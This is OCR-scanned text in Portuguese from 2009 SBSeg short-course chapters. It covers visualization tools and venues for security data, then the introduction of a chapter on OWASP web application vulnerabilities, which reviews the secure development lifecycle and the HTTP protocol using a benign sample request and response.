tecdo de anomalias. Uma imagem representando os 24 atributos medidos de 10 snapshots
de chamadas ao sistema que representam o comportamento temporal da aplicacdo ps €
mostrada na Figura 5.26.
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Figura 5.26. Visualizacdao do comportamento temporal da aplicacao ps [19].

Wang e Zhang [25] usam uma técnica semelhante a de coordenadas paralelas para
visualizar, em trés dimensdes, datas, tipos, tamanhos, origem e destino de e-mails en-
viados para uma rede. A técnica permite visualizar alguns comportamentos conhecidos
e facilmente interpretdveis e também comportamentos inusitados. A Figura 5.27 mostra
algumas instancias de relay de spam pelo servidor dos autores.

a @ 1merner

Figura 5.27. Visualizacao de trafego de e-mail mostrando contas usadas para
envio de spam [25].

Axelsson [1] usa uma colecdo de plotagens do tipo coordenadas paralelas para
analisar visualmente os logs de um pequeno servidor para tentar identificar padrdes de
acessos automatizados ou semi-automatizados (possivelmente ataques) diferenciando-os
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de padrdes de acessos normais, possivelmente benignos. A Figura 5.28 mostra os graficos
de coordenadas paralelas criados para varias requisi¢des ao servidor, considerando as
métricas data, sistema remoto, URL e user agent.
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Figura 5.28. Visualizacao de requisicoes a um servidor de pequeno porte usando
varias coordenadas paralelas [1].

5.5. Sugestoes para Estudos Complementares
5.5.1. Algumas ferramentas e APIs para visualizacao

Nesta subsec¢do apresentaremos algumas ferramentas para visualizacdo de dados em geral,
mas que podem ser usadas para visualizacdo de dados relacionado a seguranca. Existem
muitas ferramentas e APIs (Application Programming Interface, conjunto de fungdes que
podem ser usadas com uma linguagem de programacao para habilitar esta a realizar tarefas
especificas), nesta subsecao serdo listadas algumas mais interessantes e que sdo abertas
e/ou gratuitas.

JUNG (Java Universal Network/Graph Framework)'” é uma API para processa-
mento de grafos (conjuntos de vértices e arestas que conectam estes vértices). A API
permite a representacdo de grafos de forma simples e contém algoritmos de teoria dos
grafos, mineracdo de dados e de anélises de redes sociais para criagdo de agrupamentos,
decomposicao de grafos, anélise estatistica, cdlculo de métricas e fluxos, etc.

http://jung.sourceforge.net/
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As Figuras 5.29 e 5.30 mostram visualiza¢des simples de relagdes entre diferen-
tes malware criadas usando a API JUNG. Foram selecionados aproximadamente 200
malware a partir de um conjunto de mais de 22.000, provenientes de base de dados de
amostras coletadas pelos autores em honeynets, honeypots, repositorios na Internet e ane-
xos de e-mail. O espago amostral de malware foi enviado para o VirusTotal'® e apenas
os resultados positivos de identificagdo foram armazenados e associados ao malware. Os
vértices dos grafos s@o os descritores dos malware, e as arestas entre os descritores tem um
peso associado, calculado como o grau de concordancia entre anti-virus para os malware
(para dois malware contamos quantas vezes os anti-virus identificam eles como sendo da
mesma familia).

Para aproveitar melhor as capacidades da API alguns vértices foram coloridos
de forma diferente: vértices correspondentes a malware que sugerem que o mesmo faca
parte da familia de backdoors Tsunami'® sdo pintados de vermelho para diferenciacio.
A Figura 5.29 mostra o grafo criado com os vértices organizados como um circulo, sem
nenhuma tentativa de agrupamento ou ordenacdo. A Figura 5.30 mostra o grafo com
os vértices em um layout que os agrupa dependendo do valor associado a suas arestas,
criando grupos ou clusters visiveis — todos os malware identificados como da familia
Tsunami aparecem em um grupo isolado, exceto por dois. Uma versdo dindmica desta
ferramenta de visualizagcdo estd em desenvolvimento pelos autores, e possibilitard a iden-
tificacdo de malware que sdo classificados supervisionadamente em uma categoria mas

apresentam caracteristicas de outras categorias.

Figura 5.29. Visualizacédo de similaridade entre malware com a APl JUNG (sem
agrupamentos).

Bhttp://www.virustotal.com
Phttp://www.viruslist.com/en/viruses/encyclopedia?virusid=47843
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Figura 5.30. Visualizacado de similaridade entre malware com a APl JUNG (com
agrupamentos).

Existem outras alternativas para visualizacao de grafos, com caracteristicas dife-
rentes. A API SUVI??, que tem mais opg¢des para visualizagio mas que por outro lado
ndo contém algoritmos para processamento dos grafos, e ndo é mantida h4 anos, embora
esteja aparentemente estdvel. LGL (Large Graph Layout)?' é uma colecio de aplicativos
que permite a visualizacdo de grafos com grandes quantidades de arestas e vértices, e €
usado para visualizagio de dados biolégicos e da estrutura da Internet’?>. GVF (Graph
Visualization Framework)> é um conjunto de funcdes e aplicagdes que também permite
a representacdo e desenho de grafos, com ferramentas interativas que permitem a criagao
de visualizagdes complexas (com layouts diferentes para subgrafos em um mesmo grafo).

Ainda outra ferramenta para visualizacdo de grafos é Graphviz (Graph Visuali-
zation Software)**, que usa formatos de texto para representar os grafos e que também
oferece diferentes possibilidades de layout. A Figura 5.31 mostra um grafo que repre-
senta 300 sites em mais de 40 paises, que pode ser usado para identificar incidentes na
rede e para dar suporte 2 manutencdo da mesma (dados obtidos da galeria de aplica¢des do
Graphvizem http://www.graphviz.org/Gallery/twopi/twopi2.html).

O software Tulip?® também permite a visualizacio e processamento de dados em

Onttp://suvi.sourceforge.net/
2lnttp://1gl.sourceforge.net/
Pnttp://www.opte.org/
23http://gvf.sourceforge.net/
Yhttp://www.graphviz.org/
Dnttp://tulip-software.org/
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Figura 5.31. Visualizacao da estrutura de uma rede de computadores com Graphviz.

forma de grafos. Em particular possui algoritmos para clusterizacdo ou agrupamento de
grafos, permitindo a navegacao nos clusters formados. A Figura 5.32 mostra um exemplo
de grafo visualizado com o Tulip. O grafico contém a estrutura de um servidor HTTP.
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Figura 5.32. Visualizacao de estrutura de arquivos em um servidor WWW (criada
pelo software Tulip)
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OpenDX?® é um ambiente de visualizagio de dados cientificos, originalmente
desenvolvido pela IBM e posteriormente disponibilizado como cddigo aberto. OpenDX
apresenta uma interface de programacgao visual onde operadores sao representados grafi-
camente e fluxos de comando interligam estes operadores, contendo também bibliotecas

de fungdes que podem ser chamadas a partir de aplicacdes escritas em C, Python ou
Tcl/TK.

The InfoVis Toolkit>’ é uma outra API para criacdo de visualizacdes (através de
programagdo em Java usando as classes da API) que usa uma estrutura de dados simples
(tabela) para representar os dados a ser visualizados. A API inclui nove tipos diferentes
de gréficos, que podem ser customizados. Esta API usa uma outra API de renderizagdo de
grificos (Agile2D) que pode aumentar consideravelmente a velocidade de renderizagao,
possibilitando a criacdo de graficos que usam muitos dados. A Figura 5.33 mostra um
exemplo de aplicacdo desenvolvido com esta API.

B Wnfovis et 3 o s e s e
File Help
Treemap | TreeNode-Link | TableMatrix_| Table Scatter Plot | Table Time Series | Table Parallel Coordinates |
About Graph Matris Graph Node Link I Tree Icicle |
Excentric | Fisheyes | Rulers
Detail Filters. Visual |
Alpha
Column
[tuane) ¥
Default %
Color
Column
[Name tring M
[ smoath
Label
Column
[money -
[ Label alltems
Length
/ Column
- | | [tvone) -]
Default
e
| OFtLabets 50 100
\ size
Column
N [ane) ~
Default
™
“& - 0-Fit Labels 50 100
= \ Background
= Color | [ gradient

Figura 5.33. Grafico de coordenadas paralelas criado pelo Infovis Toolkit.

Processing ¢ um ambiente de design, prototipagem gréfica e visualizacdo, ba-
seado em programagdo, com caracteristicas da linguagem Java. O desenvolvimento de
aplicacdes em Processing € feito em uma IDE (Integrated Development Environment,
ambiente integrado de desenvolvimento) que simplifica bastante a edicdo dos coman-
dos, inclusdo de dados auxiliares e criagdo de aplicacdes e applets em Java prontas para
execucdo em qualquer ambiente computacional que tenha uma méquina virtual Java re-
cente. Inicialmente usada como ferramenta de design répido, Processing tem sido usada
como ferramenta para desenvolvimento de aplicagdes de visualizacio de dados de diver-
sos tipos [9]. Uma boa introdugd@o a Processing para pessoas com pouca experiéncia em
programacdo € o livro de Daniel Shiffman [22].

Além da simplicidade para desenvolvimento e empacotamento de aplicativos pron-

nttp: //www.opendx.org/
Thttp://ivtk.sourceforge.net/
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tos para execucdo, Processing facilita a criagdo de documentos em diversos formatos gra-
ficos, inclusive PDF (Portable Document Format) e SVG (Scalable Vector Graphics). E
possivel incluir bibliotecas externas para finalidades especificas.

Como exemplo de visualizagdo usando Processing podemos ver as Figuras 5.34
e 5.35, que usam uma biblioteca de geracdo de treemaps (se¢dao 5.2.1) e uma pequena
aplicagdo em Processing (baseada em um exemplo em [9]) para mostrar frequéncias de
palavras em uma base de dados com mensagens possivelmente relacionadas a fraudes,
obtida do grupo Computational Linguistics And Information Retrieval (CLAIR)*® na Uni-
versidade do Michigan). A Figura 5.34 mostra o gréfico do tipo treemap onde todas as
palavras foram consideradas, e onde cada drea é proporcional a ocorréncia daquela pala-
vra na base de dados. A Figura 5.35 mostra a mesma base mas com um filtro primitivo de
palavras: somente as palavras com seis ou mais caracteres foram usadas para a geracao
do gréafico. Pelas figuras podemos observar a frequéncia relativamente alta de ocorréncia
de palavras associadas a este tipo de fraude.
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Figura 5.34. Treemap mostrando frequéncia
dos de mensagens relacionadas a fraudes.

Prefuse”® é uma API para a linguagem Java que permite a representacdo e visu-
alizacdo de dados de diversos tipos. A API também tem classes e métodos para intera-
tividade com a representacao visual dos dados, animacao, busca textual e por comandos
com sintaxe semelhante a de SQL (Structured Query Language) e outras fungdes. Uma
versdo alternativa de Prefuse (Prefuse Flare) pode ser usada em aplicacdes desenvolvidas
em Flash. Piccolo2D?° ¢ outra API para as linguagens Java e C# que também tenta libe-
rar o programador de se envolver com detalhes de programacdo de graficos, fornecendo
classes que correspondem a tarefas especificas de visualizacdo. Uma das caracteristicas
mais interessantes de Piccolo2D € a possibilidade de uso de Zoomable User Interfaces,

Bhnttp://tangra.si.umich.edu/clair/
Pnttp://www.prefuse.org/
Onttp://www.piccolo2d.org/
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Figura 5.35. Treemap mostrando frequéncia relativa de palavras em base de da-
dos (filtrada) de mensagens relacionadas a fraudes.

interfaces que permitem o uso de muitos elementos graficos em uma pequena drea (mo-
nitor do computador), com controles para que o usudrio da aplicacdo possa selecionar e
ampliar trechos dos gréaficos.

Improvise’! é uma ferramenta para design de visualizacdes interativas que usa

o conceito de visdes multiplas coordenadas. Usudrios desta aplicacdo podem construir
relacdes visuais entre dados e interagir com estas relagdes de vdrias formas, inclusive
usando uma linguagem visual. Improvise ndo € distribuida como uma API, mas como o
codigo-fonte estd disponivel para download, programadores com experiéncia podem usar
alguns de seus componentes em aplicacdes especificas.

Outras ferramentas abertas como Octave>2, Scilab’?, R34, Weka™?, RapidMiner3’6
tem moédulos para andlise e visualizagdo de dados. Vdrias destas podem também ter os
modulos incluidos em aplicacdes desenvolvidas pelo usudrio, e para alguns podemos de-
senvolver novos modulos através de programagdo em linguagens genéricas ou especificas.

5.5.2. Conferéncias, revistas e outras fontes de informacio

Conferéncias e revistas cientificas de temas como visualiza¢do e seguranca servem de
importante fonte de referéncia e inspira¢do para estudantes e pesquisadores interessados
nestas dreas e na sua intersecdo, tema deste capitulo. Existem muitas conferéncias sobre
temas relacionados a visualizagdo de dados — algumas sdo listadas a seguir, com URLSs
para as proximas edi¢des. Esta lista ndo é exaustiva, conferéncias em outros topicos

31http://www.cs.ou.edu/Nweaver/improvise/index.html
2nttp://www.octave.org/

Bhuttp://www.scilab.org/

¥nttp://www.r-project.org/
Bnttp://www.cs.waikato.ac.nz/ml/weka/
nttp://rapid-i.com/
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(minerac¢do de dados, interfaces com usudrio) podem também ter e aceitar trabalhos sobre
visualiza¢do de dados em seguranca da informacao.

e SBSeg (Simpdsio Brasileiro de Seguranca da Informagao e de Sistemas Computaci-
onais), evento no qual este curso foi apresentado, tem vdrias areas de interesse para
as quais podem ser criadas solugdes envolvendo visualizagdo. A URL do SBSeg
2009 é http://sbseg2009.inf.ufsm.br/

e SIBGRAPI (Simpésio Brasileiro de Computacdo Grafica e Processamento de Ima-
gens) pode aceitar artigos sobre técnicas de visualizagdo em seguranga de dados
como aplica¢do de técnicas de computacdo grafica. A URL para o SIBGRAPI
2009 é http://www.matmidia.mat .puc—-rio.br/sibgrapi2009/.

e [EEE International Conferences on Intelligence and Security Informatics cobre va-
rios aspectos de seguranga de sistemas e dados. A URL permanente para a confe-
rénciaé http://www.isiconference.org/.

e A conferéncia SPIE Defense, Security, and Sensing cobre muitos topicos, dentre
estes segurancga de redes e sistemas de informacdo. A URL permanente para esta
conferéncia é http://spie.org/defense-security-sensing.xml.

e |EEE VisWeek, que abrange algumas subconferéncias relacionadas (IEEE Visua-
lization Conference, IEEE Information Visualization Conference e IEEE Sympo-
sium on Visual Analytics Science and Technology). A URL para a VisWeek 2009
éhttp://vis.computer.org/VisWeek2009/vis/. Em 2009 o VisWeek
também sediard o VizSec, International Workshop on Visualization for Cyber Secu-
rity. A URL para o VizSec é http://vizsec.org/vizsec2009/.

e A conferéncia VIIP 2009 — Visualization, Imaging and Image Processing, organi-
zada pela IASTED (International Association of Science and Technology for Deve-
lopment), inclui alguns artigos sobre técnicas de visualizacao de grandes volumes
de dados que podem ser usadas em aplicacdes de seguranca de dados. A URL
para a ultima edicdo desta conferéncia (com links para conferéncias passadas) é
http://www.lasted.org/conferences/pastinfo-652.html.

e A conferéncia ACM Symposium on Software Visualization cobre vérios aspectos de
visualizagao, entre eles visualizacao de logs para aplica¢des em seguranca. A URL
para a edicdo 2008 desta conferéncia é http://www.st.uni-trier.de/
~diehl/softvis/org/softvis08/.

Algumas revistas cientificas que apresentam artigos relacionados com visualiza-
cdo ou com aplicagdes de visualizacdo em seguranca de dados sdo listadas a seguir. A
lista é ndo-exaustiva, outros jornais podem aceitar artigos relacionados:

e [EEE Computer Graphics and Applications tem foco em computacdo grifica mas
também contém artigos sobre técnicas e aplicagdes de visualizacao de dados. URL:
http://www2.computer.org/portal/web/cga.
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Information Visualization cobre vérios aspectos de visualizacdo cientifica e de da-
dos. URL: http://www.palgrave—-journals.com/ivs/index.html.

Computing and Visualization in Science, publicado pela Springer, cobre varias areas
cientificas, entre as quais visualizacao (com €nfase em visualiza¢do de modelos nu-
méricos). URL: http://www.springer.com/math/cse/journal/791.

The Visual Computer, também publicado pela Springer, cobre topicos como técni-
cas e aplicagdes de visualizacdo, realidade artificial e animacdo por computador.
URL: http://www.springer.com/computer/computer+imaging/
journal/371.

O Information Design Journal cobre especificamente aspectos de comunicac¢ao vi-
sual feita de forma efetiva, incluindo técnicas e paradigmas de visualizagdo. URL:
http://www.benjamins.nl/cgi-bin/t_seriesview.cgi?
series=IDJ.

O Journal of Visualization é publicado pela Visualization Society of Japan e aceita
artigos em aplicacoes de visualizagdo. URL: http://www. jov. jp/.

O Journal in Computer Virology, editado pela Springer, contém artigos sobre virus
de computadores e malware e outros aspectos de seguranca computacional. URL:
http://www.springer.com/computer/journal/11416.
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Abstract

The purpose of this chapter is to discuss the present most common web application
vulnerabilities, according to OWASP, and show through several scenarios how they
can be exploited by malicious users. We present a brief description of each vulnera-
bility and give its root causes, in order to help the reader understand why it happens.
Considering that security and functional tests are fundamentally different, we de-
scribe what to look for when searching for web application weaknesses. Since the best
approach in security is to be proactive, we provide a list of controls that should be in
place to avoid those problems in the first place.

Resumo

O objetivo deste capitulo é apresentar as vulnerabilidades mais comuns que afetam
aplicacoes web, de acordo com o OWASP, e mostrar, por meio de diversos cendrios,
como elas podem ser exploradas por usudrios malictosos. Uma breve descricao de
cada vulnerabilidade € apresentada, juntamente com as causas principais, para que
o leitor compreenda porque elas ocorrem. Considerando que testes funcionais e de
sequranca sao fundamentalmente diferentes, descreve-se o que procurar durante o
processo de deteccao de fraquezas nessas aplicacoes. Finalmente, como a melhor
abordagem para sequranca é ser pro-ativo, uma lista de controles para evitar a pre-
senca dessas vulnerabilidades é fornecida.

237
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6.1. Introducao

Vulnerabilidades em softwares tém sido amplamente utilizadas por atacantes, para
roubo de informagoes confidenciais e invasoes de redes corporativas. Prover a se-
guranca de um software, porém, nao é um objetivo facil de ser alcancado, dada a
complexidade dos sistemas nos dias de hoje. Facilmente, eles atingem dezenas de
milhares de linhas de c6digo, que contém, invariavelmente, uma quantidade de defei-
tos significativa. Alguns destes tém impacto direto em seguranca, podendo acarretar
desde a indisponibilidade do sistema, até o controle total do computador por um
atacante. Para piorar ainda mais este cenario, considere-se que, normalmente, um
ciclo de desenvolvimento de software seguro nao é adotado, o que resulta, no minimo,
em especificagoes inseguras e configuracao vulneravel das plataformas subjacentes.

Para se ter uma idéia mais clara do mundo real, no periodo de 2001 a 2006, o
nimero de vulnerabilidades em sistemas reportado ao Common Vulnerabilities and
Exposures, simplesmente, triplicou. Além disso, houve uma mudanca nos tipos de
fraquezas mais comumente encontradas, como é possivel observar-se na Figura 6.1.
O estouro de pilha, campeao da lista por muitos anos consecutivos, perdeu o lugar, a
partir de 2005, para vulnerabilidades de injecao de cédigo, como o cross-site scripting
e injecao SQL. Estes tipos de fraquezas afetam, basicamente, sistemas web e indicam
duas coisas:
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Figura 6.1. Progressao da ocorréncia das principais vulnerabilidades reportadas ao CVE.

e A recente popularizagao das interfaces web para comércio eletronico, internet
banking e configuracao de elementos de rede;

e Os problemas de seguranca deste dominio nao estao sendo adequadamente con-
siderados durante o processo de desenvolvimento, tanto por ignorancia como
pela pressao causada por cronogramas de entrega apertados.
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A luz deste contexto, o objetivo do presente capitulo é analisar as principais
vulnerabilidades que afetam aplicagoes web, segundo classificagao do grupo OWASP,
ilustrando para cada uma delas as causas, efeitos, testes para deteccao e mecanismos
de protecao. O restante deste documento esta organizado da seguinte maneira: a
Secao 6.2 tece alguns comentérios sobre o desenvolvimento de software seguro; os
principais projetos do grupo OWASP, especializado em seguranca de aplicacoes web,
sao introduzidos na Sec¢ao 6.3; na Segao 6.4, alguns conceitos importantes para o en-
tendimento do texto sao brevemente revisados; a Se¢ao 6.5 é o coragao do capitulo,
pois realiza a anélise das principais vulnerabilidades em aplicacoes web; finalmente,
na Secao 6.6, sao apresentadas conclusoes sobre os problemas que, atualmente, afe-
tam aplicagoes web.

6.2. Ciclo de Desenvolvimento de Software Seguro

Um software seguro é aquele que satisfaz os requisitos implicitos e explicitos de se-
guranca em condigoes normais de operacao e em situacoes decorrentes de atividade
maliciosa de usuarios. Para isso, deve resultar de um ciclo de desenvolvimento que
considere aspectos de seguranga em todas as suas fases, da especificagao a implanta-
¢ao em produgao (McGraw, 2006; Kissel et al., 2008). Todavia, muitos desenvolve-
dores comecam a se preocupar com seguranca, somente quando o software esta quase
finalizado, pois acreditam, erroneamente, ser possivel trabalhar dessa maneira. Tal
abordagem s6 contribui para um maior custo, pois as correcoes de vulnerabilidades
tornam-se mais caras a medida que se avanca pelas fases de desenvolvimento, como
ilustrado na Tabela 6.1, extraida de Wysopal et al. (2006).

Tabela 6.1. Custo relativo de correcao de software de acordo com a fase do ciclo de
desenvolvimento.

’ Fase \ Custo relativo para corregao
Definicao 1
Projeto alto nivel 2
Projeto detalhado )
Codificacao 10
Teste de unidade 15
Teste de integracao 22
Teste de sistema 50
Poés-entrega 100

Cada fase de um ciclo de desenvolvimento de software seguro, portanto, tem
sua parcela de contribuicao para a qualidade do resultado final e nao pode ser omitida
durante o processo. Na etapa de especificacao, requisitos explicitos de seguranca
devem ser enumerados e requisitos funcionais devem ser avaliados, para verificar se
nao introduzem uma vulnerabilidade no sistema. Um caso ilustrativo é o do suposto
Microsoft Bob, um programa criado para auxiliar o usuério do sistema operacional
sempre que se encontrasse em dificuldades na realizacao de alguma tarefa. Seguindo
essa filosofia, sempre que um usudrio errasse a senha trés vezes consecutivas, ele
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aparecia e perguntava se desejava trocé-la, para conectar-se ao ambiente (McGraw,
2006). Nesta situacao, ndo importa quao bem implementada esteja a funcionalidade,
que o sistema continuard intrinsecamente inseguro.

Atividades comumente realizadas na fase seguinte, a de projeto, incluem o
mapeamento do modelo de dados para estruturas logicas e fisicas, a definicao de pa-
droes de interface a serem utilizados, a escolha de elementos de hardware e software
que farao parte da solucao e o desenho da topologia a ser adotada. Nesse contexto,
um problema muito comum de seguranca que surge é o posicionamento incorreto
do banco de dados na topologia de rede. Para ilustrar esse ponto, considere-se o
levantamento realizado por Litchfield, no final de 2005, em que foram detectados
cerca de 350 mil bancos de dados, contendo dados de produgao, diretamente na
DMZ externa das empresas (Litchfield, 2007). Esse exemplo evidencia pelo menos
um dos intimeros aspectos de seguranca que devem ser considerados no projeto do
software, ao lado de decisdes sobre protocolos seguros de comunicagao e selecao de
algoritmos criptograficos.

O préximo passo consiste na implementagao do software propriamente dito,
em uma ou mais linguagens de programacao, dependendo de cada caso. Para mi-
nimizar vulnerabilidades de codificacao, os desenvolvedores devem ser treinados em
técnicas gerais de programacao segura e nas especificidades das linguagens com as
quais trabalham. Por exemplo, estouro de pilha é um problema comum em progra-
mas feitos em C e C++ (Seacord, 2005), mas nao ocorre na linguagem Java, pois a
maquina virtual verifica se um acesso a um vetor estd dentro dos limites possiveis.
Ferramentas automatizadas para revisao de cédigo podem ser de grande ajuda na
identificagao de padroes reconhecidamente inseguros de programacao, como o uso
das fungoes strcpy() e stremp() em C/C++.

Testes de seguranca sao fundamentalmente diferentes de testes funcionais e,
por isso, devem ser feitos por profissionais especializados. Os tltimos sao descritos
em casos de testes, os quais definem um roteiro dos passos a serem seguidos e o resul-
tado esperado de um comportamento nao defeituoso. Obviamente, nenhum sistema
¢ criado com caminhos documentados de como os requisitos de seguranca podem
ser subjugados, e aif reside a diferenca. Portanto, ao procurar vulnerabilidades em
um software, o testador segue uma linha de raciocino diferente da tradicional, ao
colocar-se no lugar do usudrio malicioso, que tenta encontrar fluxos nao previstos
que possam comprometer a aplicagao. A automacao de algumas tarefas nesse pro-
cesso pode implicar ganho de produtividade, mas o papel do especialista continua
sendo fundamental.

Por fim, e nao menos importantes, encontram-se a implantacao do sistema no
ambiente de producao e a manutencao. Antes da liberacao para o uso, é fundamental
que todos os servidores utilizados pela aplicacao sejam robustecidos, com eliminagao
de servicos e contas desnecessarios e configuracao dos parametros de seguranca de
acordo com as melhores praticas estabelecidas para as plataformas. Correcoes de
seguranca devem ser aplicadas periodicamente no ambiente, principalmente, aquelas
consideradas criticas. Caso criptossistemas com chave sejam empregados, procedi-
mentos adequados de gerenciamento de chaves criptograficas devem ser adotados



IX Simposio Brasileiro em Seguranga da Informagao e de Sistemas Computacionais 241

(Menezes et al., 2001; Barker et al., 2007a,b). E, no caso de comprometimento do
sistema, o problema deve ser identificado e imediatamente corrigido.

Invariavelmente, todo software sempre apresenta uma ou mais falhas de segu-
ranca, ao longo de sua existéncia. Assim, é razoavel concluir que é utépico construir
um sistema completamente invulneravel. Porém, com um ciclo de desenvolvimento
seguro, ¢ possivel, no minimo, produzir consistentemente sistemas com um nimero
reduzido de brechas e que possuam mecanismos de protecao contra os diversos ata-
ques conhecidos.

6.3. OWASP

O grupo Open Web Application Security Project é uma organizacao mundial, sem
fins lucrativos, que visa divulgar aspectos de seguranca de aplicagoes web, para que
o risco nesses ambientes seja devidamente avaliado por pessoas e empresas. Exis-
tem, hoje, 130 capitulos locais, espalhados pelos cinco continentes, todos abertos,
gratuitamente, para participacao de pessoas interessadas no assunto. A entidade,
além de organizar conferéncias internacionais e encontros sobre o tema, mantém
diversos projetos, que variam de guias de implementacao segura a ferramentas. Os
trabalhos do OWASP relevantes para este documento estao brevemente descritos
nos paragrafos a seguir:

e Top Ten — é uma lista, ja na segunda versao, das dez vulnerabilidades mais
criticas presentes em aplicacoes web, segundo a experiéncia pratica de diversos
especialistas membros da organizacao. Por essa razao, foi adotado pelos pa-
droes PCI DSS (PCI, 2009a) e PCI PA-DSS (PCI, 2009b), para figurar como
os itens minimos que devem ser considerados na codificagao segura de siste-
mas web. Pelo mesmo motivo, também serviu de base para as vulnerabilidades
abordadas no presente documento.

e Guia de desenvolvimento (Wiesmann et al., 2005) — descreve as melhores prati-
cas de seguranca para o projeto, desenvolvimento e implantacao de sistemas e
servigos web e inclui diversos exemplos praticos de cédigos em J2EE, ASP.NET
e PHP.

e Guia de testes (Meucci et al., 2008) — fornece metodologia e procedimentos
detalhados para a realizagao de testes de invasao em aplicagoes web, com
cobertura das principais vulnerabilidades conhecidas. Sao apresentados testes
caixa-preta e, também, caixa-cinza.

e Guia de revisao de cédigo (van der Stock et al., 2008) — livro que ilustra como
encontrar vulnerabilidades em aplicagoes web, por meio da inspegao do cédigo
fonte. Contém exemplos em diversas linguagens como Java, C, C++ e ASP.

e WebScarab — ferramenta escrita em Java, para ser utilizada em testes de se-
guranca de aplicagoes web. A principal funcionalidade é atuar como um prozy
entre o navegador e o servidor web, permitindo interceptar requisigoes e respos-
tas e altera-las, se desejado. Outras opgoes existentes permitem, por exemplo,
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automatizar testes de injecao, analisar a aleatoriedade de identificadores de
sessao e repetir requisicoes contidas no historico.

e WebGoat — é uma aplicacao web propositadamente insegura criada com o
objetivo de ensinar os conceitos de seguranca web e testes de invasao. Parte
dos exemplos deste texto sao baseados nesta ferramenta.

6.4. Revisao de Conceitos
6.4.1. Protocolo HTTP

HyperText Transfer Protocol (HTTP) (Fielding et al., 1999) é um protocolo da
camada de aplicagao, utilizado na distribuicao de documentos de hipertexto, os quais
sao a base da World Wide Web. Esta foi a grande responsavel pela popularizacao da
Internet e é a face mais conhecida da rede mundial. No inicio, os recursos acessados
por meio de HTTP eram todos estaticos, bem diferente dos dias de hoje, em que o
contetdo é gerado dinamicamente, de acordo com a interacao do usuério com o site.

O protocolo opera no estilo cliente-servidor, no qual o navegador web (cliente)
realiza uma requisicao de recurso a um servidor web, que responde com o conteido
solicitado, se existir. O transporte dos dados, normalmente, é realizado por meio de
TCP/IP, mas isso nao é um requisito; basta que o protocolo utilizado fornega entrega
confidvel. Apesar disso, HT'TP nao é orientado a conexao e, assim, é um protocolo
que nao mantém estado das conversacoes. Considerando como era utilizado nos
primordios, isso, de fato, nao era uma necessidade.

Os recursos sao identificados de maneira tinica por meio de Uniform Resource
Locators (URLs), que correspondem aos enderecos que usudrios digitam nos nave-
gadores para acessarem sites especificos. Uma URL define o protocolo de acesso, o
servidor do recurso, porta utilizada, caminho no servidor até o elemento, nome do
recurso e parametros. Note-se que nem todos esses itens sao obrigatérios em uma
requisicao.

O protocolo HTTP nao possui nativamente nenhum mecanismo para proteger
os dados que carrega. Assim, informacoes podem ser adulteradas, injetadas ou
removidas, de maneira nao autorizada, durante o transito até o cliente ou servidor.
Para preencher essa lacuna, o HTTP pode ser utilizado sobre os protocolos SSL
ou TLS, que fornecem servigos para autenticacao de entidades, autenticacao da
origem da mensagem, integridade e sigilo do canal de comunicacao. Este é o padrao
empregado para transporte de dados sigilosos em aplicagoes bancarias e de comércio
eletronico, por exemplo.

6.4.1.1. Requisicao

Para acessar um recurso em um servidor, uma requisicao HTTP deve ser realizada
pelo cliente, de acordo com um formato pré-estabelecido, contendo trés secoes. A
primeira consiste de uma linha descrevendo a requisicao; em seguida, diversas linhas
compoem os cabecalhos HTTP pertinentes; a terceira secao, opcional, corresponde
ao corpo da mensagem e deve vir separada da segunda, por uma linha em branco.
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Como ilustracao, considere que um usuario deseja ver o site do SBSeg 2009,
utilizando o navegador Firefox. A seguinte requisicao é feita pelo software:

GET http://sbseg2009.inf.ufsm.br:80/sbseg2009/ HTTP/1.1

Host: sbseg2009.inf.ufsm.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.
13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729)
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,%*/%*;q=0.8
Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;9=0.7,%;9=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

A primeira linha sempre é composta por um método HTTP (GET), o recurso
identificado por uma URL (http://sbseg2009. . .) e a versao do protocolo utilizada
(HTTP/1.1). As demais linhas do exemplo sao cabegalhos, que identificam, entre
outras coisas, o nome de dominio do servidor, o navegador utilizado, o tipo de
sistema operacional do cliente e tipos de contetidos e codificacoes aceitos.

6.4.1.2. Resposta

A resposta do servidor a uma requisicao, também, é composta por trés secoes:

e Linha de estado descrevendo o protocolo/versao utilizados, cédigo de estado

e um valor textual, que nao é interpretado, hoje, pelos navegadores (Stuttard
and Pinto, 2007).

e Seqiiéncia de cabecalhos fornecendo informagcoes como data, servidor e tipo do
contetudo.

e Conteudo referente ao recurso solicitado, separado das secoes anteriores, por
uma ou mais linhas em branco.

O resultado da requisicao da secao anterior esta ilustrado a seguir. E im-
portante mencionar que uma resposta pode gerar novas requisigoes, caso o conteido
apresentado possua elementos como imagens e scripts com especificagao de arquivos.

HTTP/1.1 200 OK

Date: Sun, 23 Aug 2009 13:03:23 GMT

Server: Apache/2.2.9 (Ubuntu) PHP/5.2.9-0.dotdeb.2 with Suhosin-Patch
X-Powered-By: PHP/5.2.9-0.dotdeb.2

Set-Cookie: SESScf36402703del110533bce89bc3e3ec75=174307300c76£d481652
ccb2f366eadb; expires=Tue, 15-Sep-2009 16:36:43 GMT; path=/; domain=
.sbseg2009. inf .ufsm.br
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Last-Modified: Fri, 21 Aug 2009 15:39:27 GMT
ETag: "79db38£60d123a07bbfdfa7labfeba63"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
X-Content-Encoding: gzip

Content-length: 2634

Content-Type: text/html; charset=utf-8
X-ManualEdit: possibly modified

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtmll-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="pt-br"
xml:lang="pt-br">

6.4.1.3. Métodos

H& oito métodos, ao todo, especificados pelo protocolo HTTP, os quais indicam a
acao solicitada pela requisicao. Os dois mais importantes, no escopo deste texto, sao
os métodos GET e POST. O primeiro ¢ utilizado para solicitar paginas ao servidor
e permite que parametros sejam passados como parte da URL do recurso. Isso
implica que informacoes sensiveis nao devem ser passadas por meio de GET, pois
elas serao exibidas em histéricos de navegadores e registradas em trilhas de auditoria,
no servidor web. O método POST é empregado para submeter agoes ao servidor e
os parametros podem ser passados como parte do corpo da mensagem e, também,

da URL.

6.4.1.4. Coddigos de estado

Cédigos de estado sao valores numéricos de trés digitos, que fazem parte da primeira
